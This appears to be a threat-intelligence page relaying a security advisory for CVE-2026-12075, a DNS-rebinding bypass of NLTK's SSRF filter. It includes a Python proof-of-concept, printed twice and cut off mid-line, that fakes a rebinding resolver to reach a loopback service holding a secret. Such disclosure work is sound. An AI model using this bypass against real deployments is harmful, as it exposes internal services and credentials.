Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode (CVE-2026-12075)
### Summary `nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`. ### Details `urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches: 1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.) 2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.) `_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not. ### PoC ```python import socket import threading import warnings from collections import defaultdict from http.server import BaseHTTPRequestHandler, HTTPServer warnings.filterwarnings("ignore") import nltk import nltk.pathsec as ps ps.ENFORCE = True # the documented strict SSRF sandbox ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS" # --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) --- class _Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(SECRET))) self.end_headers() self.wfile.write(SECRET) def log_message(self, *a): pass def start_internal_server(): srv = HTTPServer(("127.0.0.1", 0), _Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv.server_address[1] # ephemeral port # --- Model the TTL-0 rebinding record at the resolver layer --- _real_getaddrinfo = socket.getaddrinfo _lookups = defaultdict(int) def _rebinding_getaddrinfo(host, port, *args, **kwargs): if host == ATTACKER_HOST: n = _lookups[host] _lookups[host] += 1 ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect) p = port if isinstance(port, int) else 0 kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback" print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})") return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))] return _real_getaddrinfo(host, port, *args, **kwargs) def fetch(url): with ps.urlopen(url, timeout=5) as r: return r.read() def main(): print("=" * 62) print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC") print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}") print("=" * 62) port = start_internal_server() print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n") socket.getaddrinfo = _rebinding_getaddrinfo ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process try: # ---- Control: a DIRECT loopback URL must be blocked by the filter ---- print("[1] CONTROL: direct loopback URL (filter must block this)") direct = f"http://127.0.0.1:{port}/" try: fetch(direct) print(f" [?] unexpected: {direct} was NOT blocked\n") control_ok = False except PermissionError as e: print(f" [OK] blocked -> PermissionError: {e}\n") control_ok = True # ---- Attack: rebinding hostname bypasses the same filter ---- print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)") evil = f"http://{ATTACKER_HOST}:{port}/" print(f" fe
AI Analysis
Technical Summary
NLTK's pathsec module implements an SSRF filter that blocks requests to loopback, private, link-local, and multicast IP ranges by validating the resolved IP address of a hostname before connection. However, the validation function resolves the hostname once and caches the result, while the actual HTTP connection performs a separate DNS resolution independently. An attacker controlling DNS can exploit this by returning a public IP for the validation lookup and a private or loopback IP for the connection lookup, effectively bypassing the filter. This DNS rebinding attack defeats the ENFORCE mode designed to prevent SSRF attacks, allowing unauthorized access to internal services via the vulnerable urlopen function used by nltk.download and nltk.data.load.
Potential Impact
An attacker able to control DNS responses for a hostname can bypass NLTK's SSRF protections and cause the application to connect to internal or loopback network resources that should be inaccessible. This can lead to unauthorized disclosure of sensitive internal data or metadata services. The vulnerability does not impact integrity or availability but allows high-severity confidentiality breaches.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade to a fixed version of NLTK (versions 3.10.0 and later) where the DNS rebinding issue in nltk.pathsec.urlopen is resolved. Until patched, relying on ENFORCE mode alone is insufficient to prevent SSRF attacks via DNS rebinding. Review vendor advisories for the official fix and apply updates promptly.
Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode (CVE-2026-12075)
Description
### Summary `nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`. ### Details `urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches: 1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.) 2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.) `_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not. ### PoC ```python import socket import threading import warnings from collections import defaultdict from http.server import BaseHTTPRequestHandler, HTTPServer warnings.filterwarnings("ignore") import nltk import nltk.pathsec as ps ps.ENFORCE = True # the documented strict SSRF sandbox ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS" # --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) --- class _Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(SECRET))) self.end_headers() self.wfile.write(SECRET) def log_message(self, *a): pass def start_internal_server(): srv = HTTPServer(("127.0.0.1", 0), _Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv.server_address[1] # ephemeral port # --- Model the TTL-0 rebinding record at the resolver layer --- _real_getaddrinfo = socket.getaddrinfo _lookups = defaultdict(int) def _rebinding_getaddrinfo(host, port, *args, **kwargs): if host == ATTACKER_HOST: n = _lookups[host] _lookups[host] += 1 ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect) p = port if isinstance(port, int) else 0 kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback" print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})") return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))] return _real_getaddrinfo(host, port, *args, **kwargs) def fetch(url): with ps.urlopen(url, timeout=5) as r: return r.read() def main(): print("=" * 62) print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC") print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}") print("=" * 62) port = start_internal_server() print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n") socket.getaddrinfo = _rebinding_getaddrinfo ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process try: # ---- Control: a DIRECT loopback URL must be blocked by the filter ---- print("[1] CONTROL: direct loopback URL (filter must block this)") direct = f"http://127.0.0.1:{port}/" try: fetch(direct) print(f" [?] unexpected: {direct} was NOT blocked\n") control_ok = False except PermissionError as e: print(f" [OK] blocked -> PermissionError: {e}\n") control_ok = True # ---- Attack: rebinding hostname bypasses the same filter ---- print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)") evil = f"http://{ATTACKER_HOST}:{port}/" print(f" fe
CVSS v3.1
Score 8.6high
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
NLTK's pathsec module implements an SSRF filter that blocks requests to loopback, private, link-local, and multicast IP ranges by validating the resolved IP address of a hostname before connection. However, the validation function resolves the hostname once and caches the result, while the actual HTTP connection performs a separate DNS resolution independently. An attacker controlling DNS can exploit this by returning a public IP for the validation lookup and a private or loopback IP for the connection lookup, effectively bypassing the filter. This DNS rebinding attack defeats the ENFORCE mode designed to prevent SSRF attacks, allowing unauthorized access to internal services via the vulnerable urlopen function used by nltk.download and nltk.data.load.
Potential Impact
An attacker able to control DNS responses for a hostname can bypass NLTK's SSRF protections and cause the application to connect to internal or loopback network resources that should be inaccessible. This can lead to unauthorized disclosure of sensitive internal data or metadata services. The vulnerability does not impact integrity or availability but allows high-severity confidentiality breaches.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade to a fixed version of NLTK (versions 3.10.0 and later) where the DNS rebinding issue in nltk.pathsec.urlopen is resolved. Until patched, relying on ENFORCE mode alone is insufficient to prevent SSRF attacks via DNS rebinding. Review vendor advisories for the official fix and apply updates promptly.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-qvv7-cg9c-w4x3
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-12075"]
- Ecosystems
- ["PyPI"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a6cf7f1bf32cb7a342b3ece
Added to database: 07/31/2026, 19:30:57 UTC
Last enriched: 07/31/2026, 19:48:40 UTC
Last updated: 07/31/2026, 21:42:11 UTC
Views: 2
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.